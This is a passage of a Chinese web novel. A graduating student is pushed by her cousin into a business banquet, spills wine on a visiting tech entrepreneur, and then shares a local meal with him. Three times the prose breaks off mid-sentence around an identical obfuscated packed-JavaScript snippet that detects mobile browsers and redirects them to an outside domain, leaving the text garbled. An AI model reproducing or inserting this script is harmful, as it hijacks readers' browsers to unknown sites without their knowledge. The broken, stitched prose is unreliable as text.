梁菲最近和何香琴太多争吵，无意在这件事情上再和何香琴发生争执，她明天就要回南江，她理解何香琴想帮她的好意，也能理解何香琴这些行为，她想这是她最后一次在老家参加这样的饭局。 昏昏沉沉睡去，一夜无梦，早上阳光很好，梁菲去花店买了一束花，梁芸喜欢的百合，坐上了去墓地的公交车。 她坐在靠窗的位置，趴在车窗上，绿化很好，两边的香樟树洒下大片阴影，路边有很多早餐店，烤包子，糖米糕，肉麦饼，米浆筒，还有梁菲最喜欢的烧饼油条。 永康城市很小，五金产业发达，当地有不少富裕的民营企业家，路上能见到豪车，刚就看到了一辆迈巴赫开过去，大源科技出来在出租车上师傅说老板的座驾是迈巴赫，梁菲不知道迈巴赫是什么牌子的车还专门在网上查了一下。 下了公交车后沿着山路往上走几百米，一排排的墓碑整整齐齐，透过树叶阳光洒落在上面，留下斑驳的影子，尽管这里都是故人，却并不阴冷，还能看到大片大片的绿，充满了生命力。 梁菲到了地方，发现已经有人来看过，墓碑前放着一大捧百合，梁菲下意识向四周看了下没看到人，谁会来看梁芸呢？梁菲把花放下，从包里掏出吃食，水果摆放好。 梁菲看着照片里的梁芸，永远停留在了25岁，最意气风发的模样，梁芸长得像梁父，单眼皮细长一条眼尾上扬，高颧骨，鼻梁挺直，棱角分明，偏英气的长相。 梁菲记忆里梁芸很少有情绪波动，大部分时候都是风轻云淡，口头禅是这个简单，梁菲不管问梁芸什么题目，梁芸看一眼就能给出好几种解题思路，家里漏水停电，电饭锅冰箱坏了，梁芸都能修。 梁菲很早意识到人和人之间天赋的差距，比如她和梁芸之间的差距，就是一道数学题梁芸有五种解法，她只能想到一种，梁菲的解题思路来自记忆，梁芸来自推理。 梁菲把墓地周围的杂草拔掉，一边拔一边和梁芸说话，跟她说最近的情况，在找工作，她不打算回老家，她想赚很多钱，留在南江，让何香琴也去南江。 梁菲从墓地出来意外碰到了表哥何楚箫，梁菲看着他远远走过来。 何楚箫这两年整个人像吹起来的气球，又像一个白胖的发面馒头，脸上已经快找不到棱角。 何家的外貌基因好，胖成这样也能看出是个五官端正的帅哥。 何楚箫看到梁菲，走过来热情地问道：“刚回来吗？” 梁菲绷着脸也不回答只说：“那束百合花是你放的吗？” 何楚箫说：“什么百合花？” 梁菲看何楚箫的反应不像假的，想想也不是他，于是说：“没什么。”说完抬腿就要走。 何楚箫追上前两步，“你这臭脾气像谁，快毕业了要懂点事，准备考公务员了吗？你回到老家也有个照应，外面私企工作不稳定，35岁就找不到工作。” 梁菲停住脚步，浑身长满了刺，“你工作很好很体面很稳定，我看得出来，你们单位福利这么好给舅舅带一份饭很难吗？” 何楚箫说：“你这是在怪我请姑姑照顾我爸，我要经常出差的，哪有时间带饭回家，姑姑辛苦，这样好不好，作为补偿，刚好有个南江市的企业家来考察项目，晚上的饭局，我带你去，多认识个人多条路。” 何香琴和梁菲说是舅舅有个饭局，倒不知道是何楚箫的饭局，梁菲既然答应了何香琴参加饭局就不会反悔，冷笑一声说：“那我还得谢谢表哥帮忙介绍认识企业家。” 何楚箫当没听出来话语里的嘲讽，只要她答应去就好，这个表妹长得好看，就是自尊心太强，脾气太差，要不然也是一份助力，姑姑家是不行的，姑父是个短命鬼，梁芸从小聪明考上清华还以为能翻身了，结果出了那事。 姑姑耳根子软，人又笨，只能做保姆的活，好在还算听话，拿住了姑姑也就拿住了梁菲，傻人有傻福不知道怎么生出这样两个女儿。 何楚箫说：“都是一家人，不用说见外的话。” 梁菲冷淡地看了何楚箫一眼走了。 梁菲回到家，何香琴做了红糖糯米糕放在桌上，旁边还有一碗银耳莲子羮，梁菲吃完在家睡了一觉，给何香琴发短信说去参加饭局了。 梁菲没带什么衣服回家，在柜子里找出一条旧连衣裙穿上。 何楚箫来接梁菲，看到路边站着穿着连衣裙的梁菲，身形亭亭，有一种介于学生和白领之间的清纯和风情，颇为满意。 何楚箫循循善诱道：“女孩要活泼开朗会来事在社会上才混得开，今天晚上都是重量级人物，你随便搭上一个，不比你上班强。” 梁菲说：“怎么搭？陪笑喝酒还是陪睡？” 何楚箫说：“想哪去了，表哥能让你去做这种事，这些都是有身份的人，你愿意陪睡人家还怕不安全，你就当多认识点人，年轻人机灵点，端茶倒水催菜敬酒是基本功。” 梁菲不说话，这也是她不愿意留在老家的主要原因，这些攀关系拼喝酒生存哲学她一点都不想学，也不认可，她想知道大城市有没有不靠这些生存的空间，她想走自己的路。 餐厅在半山腰，地方投资集团下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627306|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属产业酒店，何楚箫和梁菲到得最早，在门口接人。 何楚箫说：“应届生考公务员还有优势，工作几年再考就难了，二本文科专业最好的就业选择就是考公考编。” 梁菲嘴唇动了动，声线低而浅，“我不打算考公务员。” 何楚箫说：“你一文科专业留在南江能做什么？” 梁菲说：“销售。” 何楚箫说：“让你参加个饭局三推四请的，你觉得自己适合做销售吗？” 梁菲说：“我觉得很合适。” 何楚箫还要再说什么，梁菲指了指手机，走开两步去接电话。 家教学生赵萌给她打电话，梁菲划开接听。 赵萌说：“你面试顺利吗？” 梁菲说：“挺顺利的，你给的那份面试题很管用。” 赵萌知道梁菲在找工作，赵萌妈妈说可以介绍梁菲进公司，梁菲实在不好意思再麻烦，只说已经接到了心仪公司的面试邀请，赵萌让家里公司的人事发过来一份校招面试题参考。 赵萌说：“我有件事想请你帮忙。” 梁菲说：“你说。” 听筒那边沉默下来，像是在思考怎么开口，梁菲余光里远远看到有商务车开过来停下，车上陆续下来一群人，何楚箫迎上去，殷勤地招呼握手问候。 这群人簇拥着往大厅走。 梁菲的目光穿越人群缝隙，中间是一位身材挺拔，穿着剪裁合身的白色衬衣和深色西裤的男人。 她的角度看不到正脸，侧脸很好看，偏硬朗的好看，线条干净利落，这人头发很短接近毛寸，背着电脑包。 这个场景倒像是在哪里见过。 似曾相识，梁菲的脑海里无端闪过四个字，视线追寻着这人的背影，试图再看清楚点。 中间那个男人忽然回头，猝不及防，两边视线远远对上。 梁菲眉心一跳，心虚地转开视线，余光里感觉到男人的视线在她身上停留了几秒。 差点忘记还捏着手机在通话，过了会儿又往那个方向看过去。 人已经走远了，明明对视了一眼，却想不起来这个人的长相。 思绪拉回来，听筒那边的声音一直在沉默，她拿开手机看了眼通话，电话没有挂断。 “赵萌？” 赵萌说：“我在。” 赵萌又说：“你在哪？” 梁菲说：“我在老家，周五回南江。” 赵萌说：“还是等你周六来再说。” 梁菲说：“好。” 梁菲挂完电话走进餐厅，过道走进去一溜排临湖包厢，她记不清是609还是606，两个包厢一模一样的制式，门关着，她跑到前台去问，结果两个包厢都是何先生预定，她站在过道里等了一会儿，看有没有认识的人出来。 等了几分钟，有个人穿着蓝色淡格纹衬衫，深色西裤的男人走过来，她一看以前参加舅舅饭局见过，是舅舅单位的同事小张。 小张也看到了梁菲，跟她打招呼，“小梁，怎么不进去？” 梁菲说：“打了个电话，你也来晚了？” 小张说：“我也打了个电话。” 小张推开609的包厢门，冷菜已经上齐，集团王总和南江企业家周总分宾主安坐，王总载笑载言的介绍了永康的五金产业，欢迎周总莅临考察。 梁菲跟着小张后面走进去，在座的男士看到她眼睛亮了一下，何楚箫站起来介绍了梁菲，其中有一位男士笑道：“哎呀呀，僧多粥少，梁小姐坐在哪里？” 何楚箫指了指主宾旁边三陪的位置，“梁菲就坐在周总旁边吧。” 在座其他人没有异议，梁菲掠了周总一眼，又对上周总的视线，也不知道谁先看的谁，梁菲很快收回视线，这是个神态从容，年轻英俊的男人，一看就不是普通人，走过去依言坐下。 5. 敬酒 主陪地方投资集团王总介绍在座的身份背景，先介绍了主宾，南江知名企业家周总，这次来永康考察五金产业，又如数家珍地介绍了桌上其他人的背景，轮到梁菲的时候直接跳过了。 王总举起酒杯说：“人到齐了，我们先欢迎周总莅临指导。” 众人连忙举杯喝了一口，王总用公筷给周总挟了一筷子菜，表示正式开席。 杯子刚放下，小张站了起来端着酒杯说，“各位领导，我来迟了，自罚一杯。” 有人立刻哄笑道：“一杯怎么行，自罚得三杯。” 小张看着主宾上的周总，集团近几年公开招待企业已经很少喝酒，今天桌上都倒着酒，这酒是非喝不可了，只是怎么喝是个讲究，集团和国企，外企，私企都打交道，国企和私企喝得最凶，一杯不算罚酒，三杯才算罚酒，周总的接待规格很高，看人体型面相都是能喝酒的类型，今天晚上怎么喝得看周总表态，他这算是投石问路了。 小张微微一笑，举起酒杯，喝了一杯，倒满又喝了一杯，喝完又倒了一杯，连喝三杯，“谁让我来迟了呢，三杯，一杯不少。” 王总说：“小张是个好同志，爽快，能喝，多吃点菜。” 小张喝完又有人起哄道，“现在轮到梁小姐了。” 梁菲站起来笑说：“我酒量不好，这一杯我干了，还有两杯就当计利息吧，我慢慢喝。” 何楚箫说：“罚酒有罚酒的规矩，既然端起了杯子就要一口气喝完。” 众人听了这话都在看梁菲，气氛尴尬起来，有认识梁菲的，这何楚箫的做事路数实在难看，女同事不来参加这些饭局，他就想出让自家亲戚来当花瓶活跃气氛的招，搞得像陪酒小姐，现在饭局上逼人喝酒的已经不多见了，又是女大学生，又是陪酒，让人不舒服。 梁菲把酒杯递给何楚箫，“表哥教我规矩，我学着呢，不如教到底，替我喝了吧。”说完把何楚箫的杯子拿过来倒满酒。 何楚箫一愣，“不行。”这是什么态度？罚酒还有让人帮忙喝的吗，这么不懂社会上的规矩怎么出去做事，还做销售呢，客户让你喝酒也是这幅样子吗？还真把自己高贵上了。 梁菲第一次和何楚箫出来参加饭局，以前和舅舅去饭局也会喝，就是敬一圈，多了舅舅会挡着，没想到何楚箫会这么强硬。 梁菲捏着酒杯笑了笑，“这杯我喝了。”一口干了一杯坐下，看也没看何楚箫，把个何楚箫气得脸黑了一圈，只好自己站起来把剩下的两杯喝完了。 何楚箫喝完还圆了场，“没办法，自家表妹，剩下这两杯我代喝了。” 这时周泊言端起了杯子，“王总，我敬您三杯吧，感谢百忙之中安排招待。” 王总点点头看着周泊言喝了三杯又回敬了一杯，这似乎成了规矩，其他人都打算站起来敬三杯回一杯的方式敬王总和周总，没想到周泊言说：“该敬的酒敬完了，我敬大家一杯，大家随意。” 周泊言用身体力行的方式告诉在座的今天晚上喝酒是什么风格，再没有人上来就敬三杯酒，喝不喝，能不能喝全在自己。 有几个年轻人是北京很好的大学，考回家乡，王总为拉近距离说：“没记错的话周总母校清华？” 周泊言说：“清华肄业生，本科退学创业了，创业后又回学校读了几年书补了学历。” 王总举杯说：“周总经历传奇，永康近十年只有两名学生考上清华，周总是北京人吗？” 周泊言说：“我是南江人，我母亲祖籍永康。” 王总说：“原来如此，周总也算得上半个永康人，咱们就是老乡了。” 一句老乡关系亲近了不少，周泊言投资收购永康的五金厂似乎顺理成章了，饭局的氛围从融洽走向热络，周泊言和王总互相聊了专业爱好，企业管理，行业政策，市场环境，越聊越投机，王总说喜欢打高尔夫，周泊言说后备箱里一直备着球杆，空了就去打一场，王总说：“明天有个朋友约我打高尔夫，一起去，介绍你们认识。” 周泊言说：“行啊。” 王总忽然说：“小梁明天一起去陪周总打一场。” 梁菲被点到名一怔说：“我不会打高尔夫。” 这个问题已经让梁菲又悄然竖起了满身的刺，参加饭局也就罢了，为什么还要陪着去打高尔夫？她心里已经打定主意不去。 王总笑笑，并不勉强。 何楚箫瞪了梁菲一眼，王总细心，估计看出来周总多看了梁菲几眼才开口让梁菲一起去，他是真的不知道梁菲怎么想的，吃饭是吃饭，打高尔夫球又进了一步，梁菲要在南江找工作，旁边这位又是南江企业家，年轻有实力，还有比这个更好的机会吗？冷着一张脸清高给谁看，这个表妹真是太不开窍了，白长一张漂亮脸蛋，一点算计没有。 梁菲假装没看见，只想好好吃饭。 梁菲盯着椒盐小鱼，等着这道菜转到眼前，等了几圈没转到眼前，动手转了转盘，拿起筷子夹菜的时候，椒盐小鱼又被转走了。 旁边的周泊言余光里看到，不动声色摁住转盘，往右边转了一下，椒盐小鱼又重新回到梁菲面前。 梁菲拿起筷子挟了一些在碗里，椒盐小鱼炸的喷香酥脆，满口鲜香。 何楚箫说：“梁菲，不会打有什么关系，让周总教你就是了。” 梁菲避无可避这回乖巧地端起酒杯，“周总，我敬您。” 周泊言没动，眼神虚虚笼住梁菲眉眼偏下的位置，并不直视，“为什么？” 压迫感十足的眼神和问题，似乎已经看穿了她的拒绝，她端着酒杯，心跳明显加速，不受控制，有本能逃跑的冲动，动物基因编码自带面对实力气场完全不在一个水平线感知到危险的本能反应，逃跑的指令控制了大脑，全身的肌肉变得僵硬，脑子一片空白，说得很直白：“祝您明天高尔夫打得开心，我不会打也不爱学习就不扫您的兴了。” 听完这句硬邦邦拒绝的话，何楚箫肠子都悔青了，带梁菲来参加饭局简直是吃力不讨好，情急之下抬腿踹了梁菲一脚。 刚准备敬酒的梁菲，弯腰压低酒杯，小腿肚蓦然被人踢了一脚，这一脚的力道不轻她下意识回身看人，抬腿避让，连带着身体不稳，捏着酒杯的手没稳住，酒杯里的酒被洒出来。 何楚箫惊呼一声，把梁菲往后拉了一把。 只听到椅子摩擦地板的声音，梁菲低头看过去，周泊言的白色衬衣上一片紫红色，衬衫被洇湿后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627307|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴在身上，红酒顺着衬衫，深灰色的西裤淅淅沥沥滴了一地。 何楚箫心里把梁菲骂了一万遍，立马站起来赔不是，梁菲去拿旁边的纸巾要给周泊言擦。 周泊言挡开了梁菲的手，“你们先吃，我去换件衣服。” 何楚箫说：“梁菲，你陪周总去。” 梁菲看了何楚箫一眼也站起来跟出去，从包厢里出去，是个长长的走廊，走廊不高，显得周泊言身高腿长，这人的背影就是感觉见过，在哪里见过呢？ 梁菲远远跟着，在看走廊有没有岔口，等有岔口就拐出去。 正好前面有个岔口，周泊言走过了那个岔口，后面的梁菲打算悄悄跑路。 周泊言忽然回过头来，“怎么，泼我一身酒，就打算这么跑了？” 梁菲侧回身停在原地抿着唇，心跳加快，挺直了背，“我不是故意的。” 周泊言微微侧头打量梁菲。 很年轻的小孩。 也不算小，大学生的样子，手臂肩颈线有锻炼痕迹，嘴唇紧抿，身体姿势僵硬，一脸倔强。 穿着一条白色的连衣裙，连衣裙中间一排纽扣，扣到最上面一颗，裙子的长度到膝盖，样式宽松，朦胧勾勒出身体曲线。 “你害怕？”周泊言盯着她，露出一个带着揶揄的笑容，“害怕我对你做点什么？” 梁菲被戳破心事，捏紧了手心看向他，“你去哪里换衣服？” 周泊言眯着眼睛看她说：“楼上房间。” 说完径直大跨步走了，这句话把梁菲钉在了原地，一动没动，她跟过去看人换衣服算怎么回事？虽然这个人看起来风度翩然，也不是那种爱强迫人喝酒显示权威的人，到底知人知面不知心，她不想让自己碰到任何危险。 周泊言没听到人跟上来冷笑一声扔下一句，“现在想起来害怕，迟了，我要真想怎样，你跑得了吗？太天真了。” 这样的女孩周泊言没见过一百个也见过八十个，要真清高就不要来这种场合当点缀做花瓶，来了就做好花瓶的本分，自我意识太强，把心里那点委屈不甘都写在脸上，找不准自己的定位，初出茅庐，没有长袖善舞的本事，经历得少不知道讨生活的难处。 梁菲当场愣住，只觉得心思都被看透，泼人一身酒不妥，无端揣测也不妥，再加上这人说话虽然居高临下但看得出来是非常骄傲的人，看着人走远又小跑跟上去。 进了电梯，周泊言转过身，梁菲走进去，面对面的站位，高了她一头。 梁菲的视线落在他脸部偏下位置，红酒的痕迹在白色衬衫上变成了深深浅浅的痕迹，湿透的衬衫贴在身上，胸肌的轮廓很清晰。 梁菲眼神一颤，走到侧后方。 到了房间楼层，周泊言走出去，拿出房卡刷开房门。 梁菲站在门口用手抵住门，没走进去。 周泊言没管她，回头掠了一眼看到她的举动只觉得好笑，径直往里走。 梁菲从门口看过去，目光所及之处是个客厅，房间在右手边，不一会儿就听到房间里传出来水声。 过了十几分钟，周泊言换了一身衣服走出来，纯黑T恤运动裤，湿漉漉的头发，根根分明，眼睛像水洗过一样亮。 6. 你请客 周泊言在沙发上坐下，拿出手机处理工作。 梁菲背靠着门说：“我可以走了吗？” 这个问题没得到回答。 过了几分钟，周泊言终于抬起头。 周泊言用眼神示意斜对面的沙发。 梁菲那种心乱的感觉又上来，不自觉走进去在斜对面单人沙发坐下，有强烈被审视的感觉，梁菲到底年轻，不安和拘谨的情绪都在脸上。 周泊言说：“梁菲？” 梁菲抬头看他，视线在空气中交汇。 这两个字在周泊言的舌尖滚了一圈，周泊言又问：“哪个菲？” 梁菲说：“芳菲的菲。” 周泊言说：“独生子女？” 前面两个问题还算正常，这个问题多少有点奇怪，周泊言身上的气场造成的威压让梁菲反问不出口，老实回答，“不是，有姐姐。” 周泊言说：“会开车吗？” 梁菲说：“不会，没考驾照。” 问完这几个问题周泊言突然站起来往外走扔下一句，“出去吃饭，饿了，你请客。” 梁菲一愣：“你不回饭局了？凭什么我请客？” 周泊言说：“饭局有什么好吃的，凭你泼我一身酒。” 这个理由梁菲没法反驳，只好跟着走出去，嘟囔：“我又不是故意的，大老板还要我请客，也太小气了。” 周泊言乐了，“你没听说越有钱越小气吗？” 周泊言又说：“我叫周泊言，你可以叫我言哥。” 酒店门口停着出租车，周泊言走过去。 梁菲跟在后面，好奇地看着周波言打开出租车后门，“我还以为大老板都有司机助理呢？” 周泊言习惯性打开左后车门上车听到这话觉得有趣，“让你失望了，少看点电视剧。” 一路沉默，周泊言不说话，梁菲也不开口，小城市不堵车，交通顺畅，车子在小巷子里七拐八拐，越走越偏僻，雾蒙蒙的路灯，路上也没几个人，两边都是矮旧的楼房，破小的店面，有68一晚的宾馆，也有全场2元的小店。 要不是他主动提出来出去吃饭，周泊言都得怀疑自己被做局了。 好不容易到了地方下车，周泊言抬头一看，扑面而来的浓浓烟火气，小小的店面，黑板上写着菜单，桌椅随意摆放，很多人坐在门口用餐，墙上贴着海报和照片，看起来有点历史。 梁菲带周泊言去的是永康本地一家多年的餐馆，店偏僻但有名，有口皆碑，永康市很多名人都来这地方吃过。 老板娘拿着点菜本子过来问吃什么，梁菲看着黑板问周泊言，“有忌口的吗？” 周泊言说：“不吃辣，不吃酸，不吃羊肉，不吃含亚硝酸盐的菜。” 梁菲：“……” 还有能吃的东西吗？难怪这人饭局上没怎么动筷子，难怪让她带他出来吃饭。 梁菲说：“你看菜单上什么你能吃？” 周泊言说：“看不懂。” 梁菲只好拿出手机查哪些菜含有亚硝酸盐，点了三个本地特色菜一个汤，外加两碗米饭。 等菜上来，周泊言看着一大碗黑乎乎昆虫，眉毛微动，“这是蚕蛹？” 梁菲说：“知了猴，本地特色。” 本地知了猴的做法是先炸后炒，带一点汤汁，很香，这也是梁菲从小吃到大的菜。 周泊言拿起筷子尝了一个皱眉，“还有别的菜吗？” 梁菲说：“放心吧，三菜一汤，还有两碗米饭。” 周泊言笑了一下放下筷子，这顿饭是挺家常。 梁菲刚才饭局上没吃饱，加上这顿饭又是自己花钱，一个接一个吃知了猴，先好好吃饭再说。 周泊言见她放松下来，这个地方看来她比较熟悉，人在熟悉的地方容易放松，调侃道：“现在不害怕了？” 梁菲说：“我刚才也没害怕。” 周泊言好笑地看她一眼，“嗯，挺勇敢，不想来饭局？” 梁菲点点头，“我不知道我来干嘛。” 周泊言说：“你自己别扭，别人也别扭。” 梁菲说：“家里长辈总觉得这些饭局很有用，可以长见识，学习饭局礼仪，说不定还能搭上什么关系，我来参加这种饭局除了点缀气氛还能做什么，饭局礼仪还不如网上找个视频。” 周泊言不置可否：“玩过狼人杀吗？饭局就是一个角色扮演的游戏，你是平民身份也会影响气氛，躬身入局就好好玩游戏，不能太当真，多见人多参加饭局，这样才能镇定自若，见怪不怪。” 梁菲没有从这个角度看待过饭局，这些话也没有人对她说过，想到饭局上这个人风度翩然的定下我干杯，你随意的喝酒规矩，她诚恳地问：“做生意一定要喝酒吗？” 周泊言想了想说：“你问这个问题说明你排斥这件事，排斥一件事就不会擅长，不是你擅长的事不要太勉强，也可以不喝，没有那么大影响。互联网、大消费、科技型企业大多是复杂的商业运营载体，多维度竞争，高度专业化，酒桌饭局是锦上添花，小地方小企业拼喝酒攀关系多，各自有不同的生态圈。” 周泊言创业十多年，公司做到这个规模，细算下来靠吃饭喝酒的生意不能说没有，一定不是主要生意。 梁菲像是找到了知音，她投简历的时候只投科技公司，下意识觉得这些企业硬实力更强，周泊言的话一下子把她隐隐约约的感觉给清楚准确的说了出来，她点头如捣蒜，“我也觉得。” 事情当然没有这么简单，只有经历过才知道这句话背后要取舍挣扎的地方，周泊言今天已经付出了百分之两百的耐心和小孩纸上谈兵，随即转了话题，“何楚箫是你表哥？” 梁菲自觉今天饭局表现太差还泼了主宾一身酒警惕地说：“怎么，你要找他算账吗？” 周泊言说：“不会。” 梁菲说：“表哥，我讨厌他，讨厌他在饭局里谄媚讨好大人物，在家里耍威风看不起不如他的人。” 周泊言淡淡道：“他有他的生存之道。” 梁菲抬头看他，放下筷子说：“你觉得我说这些很幼稚？” 周泊言说：“符合你这个年龄的想法，想得多做得少。” 说话间新的菜已经上来，番薯粉皮炒肉，老豆腐煲。 周泊言夹了几筷子尝了尝又放下筷子，梁菲说：“不好吃吗？” 周泊言说：“还行。” 梁菲没有看出来哪里行，她已经很努力地避开周泊言的忌口，不酸不辣的菜已经排除了一大半，不含亚硝酸盐又把半加工的菜排除掉，就没有几个菜能点的。 周泊言说：“你什么时候毕业？” 梁菲说：“今年毕业。” 周泊言说：“在哪里上学？” 梁菲含糊其辞：“在本地。” 周泊言说：“你毕业后打算做什么工作？” 梁菲说：“反正不考公考编，打算找个大公司做销售。” 周泊言说：“我可以帮你。” 闻言梁菲抬头，周泊言正看着她，周泊言的风度和气质和这小餐馆格格不入，梁菲问：“为什么？” 周泊言说：“没有那么多为什么。” 梁菲拿筷子的手顿了顿，没有再接话，气氛一时有些沉默。 明明两个人是面对面坐着，这些对话却都好像隔着无形的墙，他不想花费任何精力给出解释和回应的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627308|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度很明显。 既然如此为什么要提供帮助？梁菲想也许只是随口一提，吃人手短？她太较真了，她自嘲地笑了笑。 周泊言吃得少，梁菲拿了两个打包盒把剩下的菜打包。 周泊言站起来去前台买单，买完单回来问：“你住哪？” 梁菲说：“就在附近，我走过去就行。” 周泊言看了眼手机上的时间，“走吧，我送你。” 不容拒绝的语气。 梁菲打包完站起来用方言跟老板娘说要买单，老板娘说你老公买过了，梁菲一瞬间脸红到耳朵解释说不是我老公，看了周泊言一眼，“不是说我请客吗？” 周泊言听不懂方言，梁菲的突然脸红，扭捏的动作看在眼里，没有回答而是问：“你脸红什么？” 梁菲说：“没什么，不关你的事。” 从餐馆出来，沿着江走，江边的一侧垂柳随着风飘动，另外一侧是高大的梧桐树，梧桐树上放着暖黄的路灯，圆月倒影，波心荡漾。 江风徐徐，吹拂着树木绿植，发出沙沙的响声， 隔一段距离摆放一张休闲长椅，夜跑的人擦肩而过。 路过一个沿江连廊，有楼梯拾阶而下，有人在江里夜游嬉闹，仔细看江边拉了浮漂。 周泊言说：“这是什么江？” 梁菲说：“永康江支流，小时候我们都在这江里游泳，我能一口气从这头游到那头。” 周泊言用眼神丈量了下江面的宽度，觉得这小孩在吹牛，唇角漾起一点弧度。 梁菲的眼睛忽闪忽闪，感觉到他的怀疑，歪着头说：“你不相信？我跳下去游给你看。” 周泊言觉得离开饭局的梁菲有不一样的感觉，有一点可爱，也有一点天真，还有一点俏皮，到底是年龄小，笑了一下：“我相信，千万别跳，我不想上本地新闻。” 梁菲哼了一声：“骗人是小狗，我游泳可厉害了，现在水没有小时候干净，我要是有钱就把这条江整治干净。” 周泊言说：“没想到00后的偶像是大禹。” 梁菲也笑，认真想了想说：“你别说，这条江以前五月份会泛洪，永康经济不发达是泄洪口，有一年上游冲掉了一个养猪场，江水里飘了好多猪，我要整治还不能只整治这段，得从源头整起，工程量不小，难办。” 周泊言听她说得煞有介事好笑道：“嗯，挺难办。” 梁菲说：“是吧，等我有钱再说。” 从江边拐出去，再走了一大路，到了岔路口，梁菲说：“我家就在前面小区，你不用送我了。” 周泊言没说话，站在路口看她。 暖黄的路灯掠过周身，衬得一双眼睛很灵动，毛茸茸的头发，并不柔软，倒像一只倔强的刺猬，这是一个自我保护意识很强的小孩。 有让人伸手逗一逗的冲动，看是不是会马上缩成一团。 梁菲咧嘴一笑，露出两颗虎牙，冲他挥挥手，“那我们再见。” 周泊言站在原地目送梁菲一直走出视野范围。 他从裤兜里掏出手机，安娜早上把最新一批校招生的简历发给他，大幅度提高校招生比例目的是为了培养一批符合企业价值观的人才，为未来三到五年的企业发展作人才储备，他中午把简历大略扫过一遍，回复了同意，印象中看到大客户销售部的简历有个女孩也叫梁菲，大学是南江城市学院，新招聘的这批人里唯一一个双非院校。 他找到那份简历，先看了一眼照片，笑了。 大源科技近几年核心部门已经不录用双非院校校招生，用学历、背景、工作经验硬性标准筛选人，人事部门没必要为业务单位破格招聘，看来是李西廷想用梁菲。 7. 代理商 周泊言刚把手机揿灭，屏幕又亮起来，有电话进来。 胡宇游说：“周老板，你就不能招个高级点的助理，你那生活助理只知道你去了永康别的什么都不知道，找你半天，你上百亿的身家背了个包就去出差，也不怕出事，怎么想的？我都服了。” 话筒里胡宇游的声音大，周泊言把手机拿远一点，怎么想的，没怎么想，这么多年他就一个生活助理，负责一些差旅住宿餐饮方面的事，顺带保管一些私人物品。 过去十年里，他动过几次念头招有代决策权限能管理业务执行的助理，最近一次是在公司上市后，业务执行拆分到事业部，他退出一线的业务权和经营权，保留物资采购权，人事权和财务权。 他和安娜说要招个助理，安娜说：“老板，有什么要求？” 他说：“聪明，擅长处理复杂关系。” 安娜一头雾水地走出去，又不敢再问一句能不能具体点，这两条说了跟没说似的，后来推荐了七八个候选人，周泊言都觉得不合适，这事就搁置下来。 安娜推荐的人选基本面都过关，名校背景履历漂亮，周泊言看完这些年轻的候选人之后，反应过来他和安娜说得那条擅长处理复杂关系要求本质是这个高级助理岗位会拉长决策链条。 现代科技企业更需要扁平化管理模式，信息流高效畅通是提高组织协作效率的最优解，为了他的方便牺牲组织效率属实没必要，生活助理已经足够，最为关键的是有代决策权限的助理最重要的是忠诚度，现在再培养这样的人已经太晚了，风险太高。 人工智能领域的科技企业说起来是百亿市值，财务报表上的贷款金额和应收帐款能吓死人，公司都是TOB的业务，圈子里他还算是个人物，出了圈子谁认识他。 他这次来永康的目的是投资考察五金厂，顺带有点私事，这边结束马上飞北京，北京结束要去东京，他的行程很满，司机助理一个也没带。 周泊言说：“找我什么事？” 胡宇游说：“赛普电池的曾董我给你约了，不知道你哪天有空，我已经回复了时间，下周五。” 周泊言略一思索，只好取消去东京的行程，他琢磨着还是要提前把具体行程安排同步给生活助理，“下周五我赶回来。” 胡宇游说：“行，你去永康考察五金厂？上次跟你说一起搞个创投公司的事你考虑得怎么样？” 周泊言说：“你就告诉我需要多少钱。” 胡宇游说：“谢了，兄弟。” 周泊言说：“多余。” 周泊言在永康的考察结束之后飞到北京，两个半小时，凌晨准时落地。 此次来京，主要有两件事，第一件是年度财报即将发布，周泊言例行惯例拜访大投资人程金鸣，第二件事是北方区代理渠道的问题。 北方区的总代理罗景然是他大学同学，在公司创业初期，罗景然拿了北方区的代理授权，为公司初期业务开拓作出过重大贡献，作为回报罗景然到现在为止拿的还是公司最低的销售折扣权限。 公司在前期野蛮生长阶段，贯彻了邓爷爷的理论，不管黑猫白猫能抓老鼠就是好猫，现阶段公司已经进入到一个大型规模化规范化商业体运作阶段，任何试图突破监管违规违法行为都会给公司带来极大的风险。 公司的直销团队入职时签一份职业道德的准则，声明在职期间保证不违法，不行贿，不受贿，一旦被公司发觉用不正当手段赢取客户合同会被公司开除，在明面上杜绝了公司直销团队的商业贿赂行为，导致有潜规则需求的客户只能走代理商渠道。 罗景然的代理公司既有最低销售折扣，当地资源人脉，又有操作商业的灰色地带，这几年业务做得远超过直销团队。 